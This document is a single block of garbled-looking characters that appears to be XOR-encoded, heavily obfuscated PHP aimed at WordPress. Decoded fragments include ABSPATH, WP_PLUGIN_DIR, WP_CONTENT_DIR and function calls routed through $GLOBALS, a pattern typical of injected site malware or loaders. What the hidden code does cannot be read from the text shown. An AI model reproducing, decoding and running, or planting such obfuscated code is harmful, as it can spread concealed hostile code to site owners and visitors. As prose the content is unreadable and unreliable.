MJHRt^^^^^WR^^^VKO	VOLNHWR^^GHNVOLNHWR^J	VOLNHWR^^^^^^GHNVOLNHWR^MHFKVOLNHWR^GHNVOLNIWR^^^M!VOLNFWWWEtt^^^^^^V_ZO!LIJGW^t^^^!LNLVMHFKVOOGHWR^KO	VOLNGWWEt
Et^t^ZG^C^^V
W^^Z	S@
!Et^^Z
FN^^C^^Z	S@^P^^^M!VOLONWEt^^Z	S@
VZ	S@
R^Vttt^MHFKVOLOOW^C@^^ZGRtM!VOLOLW^^^C@^^^^Z
FNRt^KO	VOLOMW^C@^^^^^MHFKVOLOJWVVKO	VOLOKW^^C@^
WWRt^WR^^VJ	VOLOHWR^^GHNVOLNFWR^KO	VOLOIWWWEt^^Z	S@
VZ	S@
R^^Vt^^^MHFKVOLOFW^^^^^^C@^^^ZGRt^^^^^^GHNVOLOGW^^C@^^Z	S@^P^^^^^M!VOLLNWRtGHNVOLOMW^C@^^^YONYRt^WR^^VM!VOLLOWR^MHFKVOLLLWR^^^KO	VOLLMWWWEtttt^^^^^^VGHNVOOIIWVJ	VOLLJWWW^tQT^^

S
^TQtt^^!!VZGWEt^^tt^^tttt^^^^V_!
VZ
MJHWW^^t^^!LNLVMHFKVOOGHWR^^GHNVOLLKWWEt
Etttt^^^^tZ!NJLK^^^C^^KO	VOOIIWVKO	VOLLHWW^^A^^
!!VGHNVOLLIWR^^^^^Z
MJHW^^^^D^Et^^tt^ZFF^C^Et^^^VZ!NJLK^^XX^_
VZ!NJLKS@7:WW^^^^t^^^^^^^VKO	VOOIIWVGHNVOLLFWWW^^^^^tt^^^ZFF^^C^^^^VW^^!VZ!NJLKR^J	VOLOKWWEt^^^^^^V
VZ!NJLKS@W^^^^^XX^^^KO	VOOIFWVZ!NJLKS@WW^^^t^ZFF^C^_
VZ!NJLKS@%KO	VOLOKW#WEt^^^t^^^^^t^^^^^^^^V_ZFFW^^^t^^^^^!LNLVGHNVOOGHWR^^^J	VOLLGWWEZOOJCHJGGEZOO
JCZOOJ[FEt^^^^VZGW^^^^tt^^^^^^^^V_KO	VOOIIWVMHFKVOLMNWW^^^^XX^^^VGHNVOOFFWW^^XX^>KO	VOOFGWV?<-.?*6^^P^^^M!VOLMOWWW^t^!^?<-.?*6^^^^^P^^^^M!VOLMOWEt^^^^^^t^^^^^^VM!VOLMLWVMHFKVOLMNWWW^>	!
!VZGWEt^ttt^^^^^^^
Et^ttt^FOGJMVJ	VONFFWR^^^^^Z
MJHR^^^M!VOOFMWWEtt^^FOGJMVJ	VONFGWR^^^ZJN!!R^^J	VOOFMWWEt^^
^^V*	^^^ZMN!W^^t!LNLVM!VOOGHWR^ZMN!WEt^^
^^^V;
^^^ZMN!W^t^^^^^^^t^^^^^^M
G	FFLIVM!VOOIHWWEt^^t^^^^^tttt^^^
^^^^^ON	NJGOVZOLHGGIWtt
^^t^^^^^t^^^^^^V_^^MHFKVOLMMWVZOLHGGIW^^^^^^^^_^^
!
VZOLHGGIR^^GHNVOLMJWWW^^t^^^^
^^ZOLHGGIEttt^t^Z
MJH^^^C^^^^GHNVOLMKWVJ	VFGLWW^^A^V
W^^^^^GMGHNGVGHNVONFFWR^\\W^^^D^\\Et^^^V_^Z
MJHW^^t^^^
^^^^ZOLHGGIEt^tt^^^^ZIJF
O^C^^^!VZ
MJHWEt^^^^VMHFKVOONMWVZOLHGGIS@!	R^^ZIJF
OW^^^^CCC^W^^t^^^^ZOLHGGIS@!	^^PC^GHNVOLMHW^^P^^ZIJF
O^^P^\Y\Et^^^^^t^^^
^^V*	^^ZMN!W^t^^!LNLVMHFKVOLMIWR^^^^^ZMN!WEt^^^^
^^^V;
^ZMN!W^^^t^t^
^ZOLHGGIEtttt
^^^^^^JFKM!VZHHMWt^t^
^^^^^t^^^^ZM!I^^^^C^^^MHFKVOLMFWVKO	VFGLWW^^^^A^^^V
W^GMGHNGVM!VONFFWR^\\W^^^^D^^^^^\\Et^^^^V_^ZM!IW^^^^^^t
^^^ZHHMEt^^^^tttt^ZM
F^^C^VJ	VOLMGWR^^MHFKVOLJNWWEt^^^VZM
F^^^^^^ZW^tt^^^^^^V
VZHHM%Z#W^^XX^^KO	VOLJOWVZHHM%Z#W^XX^^J	VFNWVJ	VOLJLWR^^ZHHM%Z#R^^^ZOF		OWW^^^t^^Z!!KFIHI!LH^^C^J	VKMHWVNR^V
W^^^^ZOF		O%O#^^^S^^OWEt^^ZHHM%Z#^C^^^KO	VOLJMWVGHNVOLJJWR^^^YVY^^P^^Z!!KFIHI!LH^P^^^^^^YWYR^ZHHM%Z#WEt^^^^^ttttttt^^^
^^^^V*	^^ZMN!W^t^!LNLVMHFKVOLJKWR^ZMN!WEt^^^^^^^^^
^^^V;
^^^ZMN!W^^t^^^^^^^t^^^^
^^^^ZHHMEtt^^^t^^^^^^^
^^
GO!
NK	VZOJR^Z		Wt^^^tt^^^^^^^
^t^^Z
MJH^^^C^KO	VOLMFWVKO	VFGLWW^^A^^^V
W^GMGHNGVGHNVONFFWR^\\W^D^^\\Et^^VZ
MJH^^CCC^^^^\\W^t^^^^^
^^^ZOJEtttt^^^t^^^^^V_^M!VOOIFWVZOJWW^t^^
^ZOJEt^^^ttt^^^^^V_^^^^
VZOJ%GHNVOLJHW#W^^^^^^^_^^KO	VOOIFWVZOJ%MHFKVOLJIW#WW^^^^^t^^^^^^^^ZOJ%M!VOLJIW#^C^^^^VWEt^^^^t^^V_^^^^GHNVFNLWVZ
MJHR^ZOJ%M!VOLJIW#R^^^^^
WW^^^^^tt^ZOJ%M!VOLJIW#%#^^C^^Z
MJHEt^^t^^^^^^
^^^V*	^^ZMN!W^^^^t^!LNLVJ	VOLJFWR^^^^^^ZMN!WEt^^^^
^^V;
^^^^ZMN!W^^^t^^t
^^ZOJEt^ttttttt^^
^^^J!HNHHHVWtttt^^^tZHL!^^^^^^C^VWEtt^^^^VVKO	VHWW^^^XX^KO	VOLMFWVGHNVFGLWWW^^^^t^ZL
O^^^^^C^^VW^^^
!
VGHNVFKKWR^^^^^VWWEt^^^ZKL!M^^C^^^^^VWEt^^^^VZL
O^^^^^^ZW^^^^t^^V_^^^^^MHFKVOLJOWVZW^^^GHNVOONMWVZR^^^^^^MHFKVLJFWW^^^^^_CC^^W^^t^
Et^^^t^^^^ZJNK!NG^^C^GHNVONLFWVZWEtt^^^^^^^^VZJNK!NG^^CCC^^^^YPYW^^^tZJNK!NG^^^C^^^^^ZEt^^t^^^V
VZKL!M%ZJNK!NG#WW^^^^t^^
Et^^^tt^^^ZKL!M%ZJNK!NG#^^^C^^^^^
Et^^^^ZNOG!MNO^^^^C^).!.2+970!:7,^P^YQY^P^^^ZEt^^^^^VGHNVOLJGWVZW^CCC^^YPYW^^^t^^^^^^^^V>MHFKVOOMGWVZNOG!MNOWW^^t^ZHL!%#^^^C^^^^^ZNOG!MNOEtt^^^^^t^^^^Z	G	
LLF^C^^GHNVOLJGWVZNOG!MNOWEt^^^^^^^^^V>KO	VOLKNWVZ	G	
LLFWW^^^t^^^^^^^^ZHL!^^^^^C^^^J	VJOJWVZHL!R^^^IN	JG	VZ	G	
LLFR^^VJ	VKJMWWWWEt^^^^^^t^t^^^^tt^^t^^^^^V>J	VOLKOWVJH
GHKVWWW^^t^^ZO^^C^	MLGG	KH!!!VJH
GHKVWWEt^^^^^^VGHNVOLKLWVZOWW^^t^^^^VZO^^^^^ZLI	INFW^t^^VZLI	INF^^CCC^^M	KIMNM
VWW^^t^^^
Et^tt^^^^t^Z!	^C^^^JH
GHKVW^^^^^P^^^YQY^^^P^^^^ZLI	INFEt^^^^^V>J	VOOMGWVZ!	W^^^XX^KO	VFFWVKO	VOLKMWVZLI	INFR^^^^^^

VMHFKVFLMWWWW^CCC^J	VKJMWW^^^^t^^^^ZHL!%#^^^^^C^^Z!	Et^t^^^tQT^^
^TQttttt^^^t^t^^^^^^^^^VVM!VOLKJWW^^^^XX^J	VOLMFWVM!VFGLWWW^^^^^tQQ^.
^.6.^LD^^
Stt^^ZJNMGMH!F^^C^^^V
W^^^
!
VKO	VOLKKWR^^^\\WEt^^^ZNFHIM^^C^V
W^
!
VJ	VOLKHWR^^\\WEt^^ZFHHK^C^^VMHFKVMNMWW^^^A^^).!=10*;0*!:7,^^^^^P^^^KO	VOLKIW^^^^^D^?<-.?*6^P^MHFKVOLKFWEt^Z
NJ^^C^^^M!VKNJWVMHFKVOLKGWVVZJNMGMH!FR^^ZNFHIMWWWEt^^^^^VZ
NJ^^^^^ZOMO!W^^^^t^^^VGHNVOONMWVZOMO!R^^J	VLJFWW^^_CC^W^^^ZINK
CVNHUNMGWEZKNCZINK
[OOEt^^
EttZHHHO^^^^C^^^^ZFHHK^^^P^YQY^^P^^^ZOMO!EZLJ
ICKGJJEZJ	MCZLJ
I[OKEt^^^V>J	VOLHNWVZHHHOWW^^ZNCVNHUNKWEZK!
CZN[JEt^^tZ		IO^^^^C^^^^	MLGG	KH!!!VZHHHOWEt^^^^^^^^^^^VGHNVOLKLWVZ		IOWW^t^^^^^VZ		IO^^^ZLI	INFW^^^tZKHN^C^^ZHHHO^P^YQY^^^^P^^^^^ZLI	INFEt^^^V>M!VOLHOWVZKHNW^^XX^^J	VOLHLWVM!VOLHMWVZLI	INFR^^

VM!VOLHJWWWW^CCC^MHFKVKJMWW^tZHL!%#^^C^^ZKHNEttttttt^^^^t^^^^tZOL^C^^^^ZHHHO^^^P^KO	VOLHKWEt^^^^^^V>KO	VOLHNWVZOLWW^^^tttt^ZHL!^^^C^^MHFKVOLHHWVZHL!R^IN	JG	VZOLR^^^VGHNVOLHIWWWWEt^^^^^^^^tttt^^^^^^^tttt^^^^^
^^KO	VOLHFWVZHL!WEtt^
^JGJ
VZ	IJNWtt^^V_J	VOLHGWVZ	IJNWW^
^^VWEt^^^Z
M	F^^^C^^VWEt^^^^^^^^^^VZ	IJN^^^^ZJGKFGKMW^^^t^^V_GHNVOLJOWVZJGKFGKMW^^^^ZJGKFGKM^^^CCC^^\\^^KO	VOLINWVZJGKFGKMW^^^@^^VILFMSMOFIWW^
Et
^^t^^^^^^^V>M!VFNWVZJGKFGKMR^^^^\\W^^^CCC^^^W^^^^
Et^^^^^
^^^^V*	^^^^ZMN!W^t^^^
Et^^^^^^
^V;
^^^^^ZMN!W^t
Ettt^^^Z
M	F%#^^^^C^^^ZJGKFGKMEt^^^^^^t^^^^
^^Z
M	FEtttt^t^^^
^^^^^^N!	HFVZ	IJNWttttt^
^^tttt^^^^^^V
VZ	IJNWW^^^^tttt
^^^^Et^tQQ^).^HPI^


^
^ttt^^^ZHL!^^C^^J!HNHHHVWEt^^^^^V
VZHL!WW^t^^^^
^^^Et^t^^Z
GLM^^^C^Et^^^^^VZHL!^^^^^Z!	W^^^t^^t^^^^^^^^^V_^^^^>KO	VOLHOWVZ!	W^^^^^^^^_^>M!VFIIWVZ!	WW^^^t^^^^
Et^^t^^t^^^^^^V>KO	VOOLMWVZ!	W^^@^^VHHNGHLSOMHHIJWW^tt^^
Et^^tZJM^^C^>J	VOLIOWVZ!	WEt^^^^^^^V_^^ZJM^^^^^^^_^J	VOLILWVZJMWW^^^t
Ett^^^t^ZGMNNM

^^^^^C^Ett^^^VZ	IJN^^^Z
MIW^^^^tQQ^^
^^).^HPK^tt^^^
^^t^^^^^^^t^^Z^^C^^>M!VOLJMWVZ
MIR^\\R^^ZJMWEt^^^^VZ^_CC^^^^^^^XX^^Z^_CC^^^^^ZJMW^^^t^ZJM^^C^ZEt^ZGMNNM

^^C^^^
Et^t^^^^
^^V*	^^^^^ZMN!W^t^^^!LNLVMHFKVOLIMWR^^ZMN!WEt^^^^^^
Et^^^^^
^^^V;
^^^^ZMN!W^tQQ^
^

tttt^^^^^^
EZKHF
COKUIFEZFJMCZKHF
SLNEt^^^^^^t^^^tt^^VZGMNNM

W^^^t^^^^^VGGLJO!MOVZ!	R^ZJMWW^t^Z
GLM^^C^
Ettt^^^^^^^^tttt^^^^^^ttttt^^^^t^^
^^^^^Z
GLMEt^^^
^V*	^^^^ZMN!W^^^t^^^^^!LNLVMHFKVOLIJWR^ZMN!WEt^^^^
^^V;
^^^ZMN!W^^^^t^^^t^^^^^
^^^^Et^^^t^tttt
^JK
	GGVZ	G	
LLFR^^ZH	F	
!Wt^t^^^^ZJKG^^^C^^^^^VWEt^ZH	F	
!^^^^C^^^^^ZH	F	
!^S^^^^^OEttZMJMM^^C^^^^^>KO	VFJOWVZ	G	
LLFWEt^^^^^^^^V_^^^^KO	VOLHGWVZMJMMWW^^^^^ZGCLNLEZOL	INCVZG@NWAZGDSZGEtttt^^
^^^^ZJKGEt^^^^^^ttt^^^^^^ZMJMM^^^^C^GHNVOLIKWVZMJMMR^^^NR^VLHOULMGWWEttttt^^^^^^^^VZMJMM^^^^^^ZLI	INFW^^^^^^t^t^^^VZLI	INF^^^^CCC^^^^^YPY^^^^^^ZLI	INF^CCC^KO	VLJFWW^^^t^^
Et^^^^^tQQ^^tt^^^ttttZ	OOKG!^C^^Z	G	
LLF^P^^^^YQY^^P^ZLI	INFEt^^^^V_^>GHNVOLHNWVZ	OOKG!WW^^^^^t^
Etttt^^t^t^^^^^^^V>M!VOLIHWVZ	OOKG!^^P^^^^J	VONINWWW^tZJKG%#^C^^GHNVJNNWVZ	OOKG!R^GHNVONNWWEt^
Et^^^^t^^^t^^^^^VZH	F	
!^^@^^NW^^^^ZOJCLLNOIFEZNFGCZOJ LJIEtttZJKG^^C^^MHFKVOLHHWVZJKGR^^JK
	GGVZ	OOKG!R^^ZH	F	
!WWEtt^tt^
^^^ZJKGEt^^^^tttt^
^^^!FJLKGVWt^^^t^ZJK^^^^^^C^VWEt^^^^^Z	
FLK^^C^MHFKVJNNWV?<-.?*6R^^M!VONNWWEt^^
^^t^^^^Z	MHGH!^^C^^^VWEt^^^^VZ	
FLKW^^^^^t^^^^^Z	MHGH!%#^^C^^^J	VOLJGWVZ	
FLKWEt^Z	MHGH!%#^^^C^^^KO	VOLJGWVM!VOLJGWVZ	
FLKWWEtZ	MHGH!%#^C^^^^GHNVOLJGWVMHFKVOLIIWVKO	VOLIIWVZ	
FLKWWWEtt^^^^^tZ	MHGH!%#^^^C^KO	VOLIFWEt^Z	MHGH!%#^^C^KO	VOLIGWEt^^ttZ	MHGH!%#^^^^^C^^J	VOLFNWEtttZ	MHGH!%#^^^C^GHNVOLFOWEtttt^^Z	MHGH!%#^C^^^^M!VOLFLWEtZ	MHGH!%#^^^^C^^^M!VOLFMWEt^^^Z	MHGH!%#^^C^MHFKVOLFJWEt^t^^^ZNJI^^C^^^GHNVOLMFWVJ	VJJGWW^A^V
W^^^^^>GHNVOLFKWVJ	VGFWW^^^D^\\Et^^^^^VZNJI^_CC^\\W^^^^^tt^ZLHK
G^^C^^VKO	VOLFHWVZNJIR^^^^^^YEYW^^_CC^W^^A^^YEY^^^^D^YDYEt^^VGHNVGGWVZLHK
GR^^^^ZNJIW^^^^ZHKHJHFW^^^^^t^ZHKHJHF^^^C^^^^^M!VOLFIWVZHKHJHFWEt^^^^^^VZHKHJHF^^^^_CC^^^^\\W^^^tZ	MHGH!%#^C^^^^^ZHKHJHFEt^^tt^ttt^^^^Z	MHGH!^^^^C^J	VOLHFWVM!VOLKGWVZ	MHGH!WWEt^Z
!JLM^^C^KO	VOLFFWV
WEt^^ZJK^C^^VWEt^tttt^^^^^^^^VZ	MHGH!^^Z	G	
LLFW^^t^t^^^^V_^^^^>J	VOLIHWVZ	G	
LLFW^^^^_^^^>J	VFIJWVZ	G	
LLFWW^^t^^
Ettt^^^^VVM!VOLFFWV
W^^S^Z
!JLMW^^^^^^@^^^VKBBOWW^^t^^^^^Et^^^^t^^^t^^^^ZJK^^C^J	VOLHHWVZJKR^JK
	GGVZ	G	
LLFR^LWWEt^^^^^^t^^^^^^^^^
^^^V*	^^ZMN!W^^^t!LNLVJ	VGFKWR^^^ZMN!WEt^^^^
^^^^^^V;
^^^ZMN!W^^ttttt^t^^
^^M!VIOHWVM!VOLFGWVZJKWR^VZ	
FLKWWEtttt^^t^
^^^^^^OH!IGL	JVZF!!Wtt^^^t^^
^^t^ZO!HKLJ^^^^^^C^VZF!!^^^^P^^^M!VOLGNWR^^ZF!!^P^^^^J	VOLGOWWEZFCIGIEZIOHCVZF@NWAZFDSZFEtttt^^^^^^VZO!HKLJ^^^^^^Z	G	
LLFW^tQQ^3-/2^F^=*;^^
tt^^V_^>J	VOLIHWVZ	G	
LLFWW^t
Ettt^^^^t^Z!L^^^^C^^^	MLGG	KH!!!VZ	G	
LLFWEt^^^V_M!VOLHGWVZ!LWW^t^
Ett^^^^^^^VZ!L^^^^^^^ZMN!W^ttt^^^^^^VGHNVOOHMWVZMN!R^SVLMJ LMFWW^CCC^^^^M!VGJFW^^^XX^^JFKLGMJK
VZ	G	
LLF^^P^YQY^P^^^ZMN!R^^^^^VLNHKULGMKWWW^^tQQ^).^2
^<^
^ttt^^
^^
Ett^^^^t^^^^ttt^^^VZ!L^^^ZMN!W^^^t^^ZJF^^C^^Z	G	
LLF^P^^^^YQY^P^^^ZMN!Et^^^V_^>GHNVOLGLWVZJFWW^^^^t^^^^
Et^t^^^ZJ^C^^^	MLGG	KH!!!VZJFWEttt^^^^^^V_J	VOLGMWVZJWW^^^^^^ZGGFHCLFIGEZ	OCZGGFH[HEt
Et^t^^^VZJ^^^^^^ZNW^^^t^^^^VKO	VOOHMWVZNR^^SVOUMWW^^CCC^^^M!VGJFW^^^XX^JFKLGMJK
VZJF^^^^^P^YQY^^^^^^P^ZNR^^^^^^VNHJOUNJIWWW^^tQQ^^tttt^^
^^^^
Et^^^^^tttt^^t^^tQQ^,^
^^
^tt^^^^^tt^^^
^^V*	^^^^^ZMN!W^^^t^^^^^^!LNLVGHNVOLGJWR^^ZMN!WEt^^^^
^V;
^^^^ZMN!W^^^^t^^^t^
^^^^Ett^^^^
^^^^
!LJLGVWt^^^t^^^^^
^^tttt^^^^V	KOLVK		HK!	VWWW^^^^^
Ett^^^^^^^V
!

VMHFKVOLGKWWW^tttt^
Et^^ttttt^^Z!FH!M^^^^C^^^FNGNVWEt^^^^V_^^^^^^Z!FH!M^^^^^^^^GHNVOLINWVZ!FH!MW^^^^B^VLMIUIHMWW^t^^^
EttQQ^).^2

^.
D^
S^
tt^^^^V_^JKOOFVZ!FH!MWW^^^t!LNLVMHFKVOLGHWR^GHNVOLGIWWEttt^^^^^^
Ett^^t^^ttt^^^ZJK^^^C^^!FJLKGVWEtttt^V
VZJKWW^^^t^^^^^^V_
!

VKO	VOLGFWWW^t^!LNLVKO	VOLGHWR^^^KO	VOLGGWWEt^^^
!

VKO	VOMNNWR^^^OR^^^^VMKKJUJHWWEtttt^
!

VJ	VOMNOWR^^OR^^^VNOLKMUNLGLWWEt^
Et^^ttttZFNHJKG^C^NEtttt^^^^VZJK^^ZF!!W^^^^^t^t^VOH!IGL	JVZF!!WW^^t^
Et^^^^tt^^^^^^ZO	L^^C^^\\Et^^ZKNNN^^C^^ZF!!^^^^^P^^MHFKVOLGNWEZLMN	OCSIGFEZMOOCVZLMN	O@NWAZLMN	ODSZLMN	OEt^^^V>J	VOMNLWVZKNNNW^^^XX^^^^_>GHNVOLGLWVZKNNNWW^^t^^^^^ZKNNN^C^^^^^^Et^^^^V_>J	VOMNMWVZKNNNWW^^^^ZNJC.6.!3?41,!(;,-710EZMFNCZNJTFEt^^^OF!NKIOVZKNNNR^^^VFLISMMJWR^^
WEt^t^^^VZKNNN^^XX^V_>MHFKVOMNJWVZKNNNW^^_>MHFKVFIIWVZKNNNWWW^^^t^ZKNNN^^^C^^^Et^^^t^^VZKNNNW^^tZLHH^^C^ZKNNN^^^^^P^^^^YQY^^P^^^^M	KIMNM
VWEt^^^^^ZIJOHKM^^^^^C^^G			JVZ!FH!MWEtZK
IK^^^^C^^^HLKMH	KVZLHHR^^^ZIJOHKMR^^^KO	VOLGHWWEt^VZK
IK^XX^^ZK
IK^@C^KO	VOLINWVZIJOHKMWW^^^^^t^^^ZO	L^^C^ZLHHEt^t^^^^^^t^^t^^^V_^^^ZO	LW^^^tttZN	OF^C^^GHNVOMNKWVM	KIMNM
VWR^^^.?*67081!872;0?3;WEt^ZKJIJ^C^^^ZF!!^^P^M!VOMNHW^P^^ZN	OFEt^^^V_^^^>MHFKVOMNJWVZKJIJWW^^t^^OF!NKIOVZKJIJR^^VILUJLOWR^
WEt^^^tt^^ZLHH^^C^ZKJIJ^P^^^YQY^^P^M	KIMNM
VWEt^^^ZIJOHKM^^^C^^^^G			JVZ!FH!MWEt^^^ZK
IK^^^C^^^HLKMH	KVZLHHR^ZIJOHKMR^J	VOMNIWWEt^^^VZK
IK^^^XX^^^ZK
IK^^^@C^^KO	VOLINWVZIJOHKMWW^^^tt^ZO	L^^C^^^^ZLHHEt^^^^^^^t^^^^^Z^^C^^^ZN	OF^^^P^YQY^^P^^^^^^M	KIMNM
VWEt^^FFVZF!!R^^ZWEt^^^t^^t^^^V_^^ZO	LW^^^^^tQQ^
^
^^).^-
^*
tt^^^^
Et^^^^t^^^FKKL!VZO	LWEtMIFJHVZO	LR^^VNHIUNWWEt^ZFNHJKGUUEttt^^^^^^^^^VZFNHJKG^^^@^^^^NW^^t^^^^^
!

VM!VOMNOWR^^OR^VONHIGFUOKLJNLWWEt^tt^^^^^t
!

VGHNVOMNOWR^^^OR^VLHMFUGHLWWEt^^^^^tt^^^^^^
^^V*	^^ZMN!W^t!LNLVGHNVOMNIWR^^ZMN!WEt^^^^^
^^^V;
^ZMN!W^^^t^^t^^^^t^^
^^^^FFVZF!!R^^ZWt^t
^^t^ZK!
^^^C^ZF!!^^^P^^^^M!VOMNFWEtttt^^^^V_^>MHFKVOLHOWVZK!
WW^^^t^^ZK!
^^C^KO	VOMNGWVZF!!W^P^M!VOMNFWEt^V_^^>M!VOLHOWVZK!
WW^t^^^^^
Etttt^^^^^^t^tZ
JGO^C^^^^^^>M!VOMONWVZK!
WEt^^^^V_^^^^^Z
JGOW^^t^^
Et^^^^tZM	I^^C^^\\Et^Z^^C^^^^^^\\Et^^VGHNVOMOOWVKO	VOMOLWR^^Z
JGOR^^ZOF		OWW^t^^ZM	I^^^^C^^ZOF		O%O#EttQQ^>^
S
tt^^^^^VJ	VOMOOWVGHNVOMOMWR^^^^^Z
JGOR^^^^ZOF		OWW^t^Z^^^^C^ZOF		O%O#Ett^^^^^^^^V_^ZM	I^^^^^^^^_^^^^^Z^^_^^^J	VOMOOWVKO	VOMOJWR^^^^ZWW^^^t^^^^
Et^^^t^^Z	^C^^Z921<?2-%M!VOMOKW#Et^V_^^^KO	VOMOHWVZ	W^^^^^^^_^GHNVOMOIWVZ	R^GHNVOMOFWWW^^t^^^
Et^^^^^^^t^^V_^GHNVOMOOWVGHNVOMOGWR^^^ZM	IWW^^^ttt^^!LNLVM!VGOLWR^^^^^KO	VOMLNWWEtttt^
Et^^^^^^t^Z	MKKF	K!^^C^YY^P^ZM	I^^^P^^^J	VOMLOW^P^^Z^^P^^^^M!VOMLLWEtZ	S@VJ	VOMLMWWEtttZ
JHKF^^C^^Z	S@
!VY-Y^^^P^^KO	VOMLJW^P^^^Z	MKKF	K!^^^^^^P^KO	VOMLKW^^^P^^^MHFKVOMLHW^P^MHFKVOMLIWWEttt^^^^^^^^^^^^VZ
JHKF^^^CCC^W^^tQQ^).^?^*
^
	^ttttt^Z	S@VMHFKVOMLFWWEt
Et^t^^^^^ZL
O^C^^
H!K!I!VZ
JHKFWEt^^^^V_^GHNVOLGMWVZL
OWW^^^^^^t^^Z	S@VMHFKVOMLFWWEt^^^
Et^t^^VMHFKVOMLGWVZR^ZL
OR^^
WW^^^ttt^^^^Z	S@VMHFKVOMMNWWEttt^^^
Et^ttt^^^^^^ZL
O%#^^C^^^ZEtZL
O^^^C^^^KO	VOMMOWVZL
OWEtttt^^^^^ZK	!N^^^C^^GHNVOLOJWVZL
OWEtZ!NJLK^^C^^^^Z	S@VZ	S@VY+Y^^^P^^^J	VOMMLW^P^^Z	MKKF	K!^P^^MHFKVOMMMW^P^^J	VOMMJWR^ZK	!NWWEt^VZ!NJLK^CCC^W^^ttt^!LNLVJ	VGOLWR^^^^GHNVOMMKWWEtt^^Z	S@VGHNVOMMHWWEt^^^^
Et^t^Z	S@VGHNVOMMNWWEt^^
^^^V*	^^^^ZMN!W^t^^^!LNLVJ	VGOLWR^ZMN!WEt^^^^^^VKO	VOMMIWVZ921<?2-%MHFKVOMOKW#WW^t^^>Z921<?2-%MHFKVOMOKW#S@VM!VOMMHWWEt^^^^^t^^^^^^^^^
^^V;
^^ZMN!W^t!LNLVM!VGOLWR^^ZMN!WEt^^^VMHFKVOMMIWVZ921<?2-%GHNVOMMFW#WW^^^^^t^^^^>Z921<?2-%M!VOMMFW#S@VMHFKVOMMHWWEtt^^^^t^t^^^^^
^^^OF!K!!VWtt^^^^

^^^Z
JGO^^C^Et^^^^^^^^VZ
JGO^_CC^^^W^^^
^^^^^^Z
JGOEt^^^^V_GHNVOLMFWVGHNVLGKWWW^^t^Z
JGO^C^^\\Et
^^Z
JGOEZLHJIIC.6.!70*!3?&Q.6.!70*!3?&EZMLGCZLHJIIUMOEttt^^^^^t^^^^^^Z
JGO^^C^^^>
VMHFKVOMMGWVGHNVOMJNWWWEt^^^^V_MHFKVOLILWVZ
JGOW^^GHNVOMJOWVZ
JGOW^B^VNKNUNOJWW^^^Z
JGO^^^^^C^^\\Ett^^^^
^Z
JGOEt^^^^^ttt^^^t
^^OHIIKM	HVWt^tQQ^>^
Stt
^^t^^^V_VM!VOMJLWWW^
EtZHMFF^^C^^KO	VOOHKWVK		HK!	VWR^^M!VGJFWWEt^^ZJI^^^C^^K!NGJ	V?<-.?*6^^^P^^GHNVOMJMWR^^^VNMUNKWW^^P^M!VOMJJWEt^Z	GGJ!^^^C^^K!NGJ	V?<-.?*6^P^^M!VOMJKWR^^VMUKWWEt^^^^ZN!
I!^^^C^^^GHNVOMJHWVJ	VOMJIWW^^^A^

!VW^D^^\\Et^^^^VZN!
I!^CCC^^^\\W^tZN!
I!^^C^VM!VOMJFWVMHFKVOMJGWW^^A^
!
!VW^^^D^^\\W^^^^P^^MHFKVOMKNWEtttttt^ZF^C^^KO	VJMFWVMHFKVOMKOWR^^MHFKVOMKLWR^ZN!
I!^^P^^YQY^^P^^^ZJIWEttt^^^^VKO	VOLFHWVZFR^KO	VOMKMWW^^^_CC^^^^NW^^ZF^C^MHFKVOMKJW^^P^^^J	VFWVZFR^YQYWEt^^ZKIGKII^^^C^^KO	VOMJFWVGHNVOMKKWW^^^^^A^^^^^!VM!VOMKHW^^P^G
!FK!VKO	VOMJKWWW^^D^^^\\Et^^^^^^VZKIGKII^^^^CCC^^^^\\W^^^^ZKIGKII^^^^^C^^^M!VOMKJW^P^FK!G!NV\\W^^^P^MHFKVOMKIW^P^G
!FK!VM!VOMKFWWEt^^VKO	VOLFHWVZKIGKIIR^^MHFKVOMKJWW^^_CC^^^NW^^^^ZKIGKII^^^C^^J	VOMKGW^^P^KO	VFWVGHNVOMHNWVKO	VOMHOWR^^\\R^^^ZKIGKIIWR^^^^^YQYWEtZJMLJIMJ^^C^^^^^
VZ921<?2-%KO	VJGNW#W^XX^^^GHNVOLILWVZ921<?2-%J	VJGNW#W^^A^^^^^Z921<?2-%MHFKVJGNW#^^D^^^\\Et^^^^^^^^^VGHNVOMJOWVZJMLJIMJW^B^^^^VLKBBLWW^tZJMLJIMJ^C^^MKJLVM!VIMLWR^^\\WEt^^t^^^VM!VOMJOWVZJMLJIMJW^B^^^^VFFUOLWW^^tZJMLJIMJ^C^^^OF!K!!VWEttt^^t^Z	JO^^C^^^^^\\Et^V
VZ921<?2-%J	VOMHLW#W^^^^XX^M!VOMHMWVZ921<?2-%J	VOMHLW#W^^^^XX^^^M!VOMJOWVZ921<?2-%J	VOMHLW#W^^^^^@^^^^^VOJK OHMWW^^^^t^Z	JO^^^^C^^Z921<?2-%MHFKVOMHJW#Et^^^^^^^^ttt^Z	JO^C^MKJLVKO	VILGWR^^\\WEZN
HJCKIUJJEZG	
NLCZN
HJSJFEt^tttt^^VKO	VOMJOWVZ	JOW^^@^^^^^VNOKUNOWW^^^^t^FOGJMVGHNVILGWR^Z	JOR^^M!VOOFMWWEt^^t^Z
IOK^C^M!VOMJFWVMHFKVOMKKWW^A^V
W^^^^^M!VHJOWV!VYQYWR^^^.6.!+,2!.?*6W^^^^D^^^^^YQYEt^^^^^^^^VZ
IOK^CCC^^\\W^^Z
IOK^^^^C^^YQYEt^^^^^^^^^^^^^VMHFKVOOHMWVZ
IOKR^^SOW^^^^_CC^^^^YQYW^^^^^Z
IOK^PC^^^^YQYEt^^^^ZJKF^C^VtMHFKVOMHKW^^^^C@^^^FGM	OFIN

VWRtJ	VOMHHW^C@^^^^^	JHGM!MVWRtt^^^M!VOMHIW^^^C@^^^^^Z
IOKRt^^^^WEt^^^ZF	M^^^^^C^Vttt^KO	VOMHFW^C@^^ZFRttttJ	VOMHGW^^C@^^ZHMFFRtM!VOMINW^C@^^^ZKIGKIIRt^^^^^GHNVOMIOW^^^^^C@^^K!NGJ	V?<-.?*6^P^MHFKVOMILWR^^^^VNUNLWWRtt^KO	VOMIMW^^^C@^^^Z	JORt^WEt^^^ZIMLGO^C^GMGHNGVKO	VMFOWR^\\WEt^^^^V_KO	VOMIJWVZIMLGOW^^^^^^^^^^^^MHFKVOMJOWVZIMLGOW^^^^^CCC^^NW^^^ttt
Et^tttZ	L!
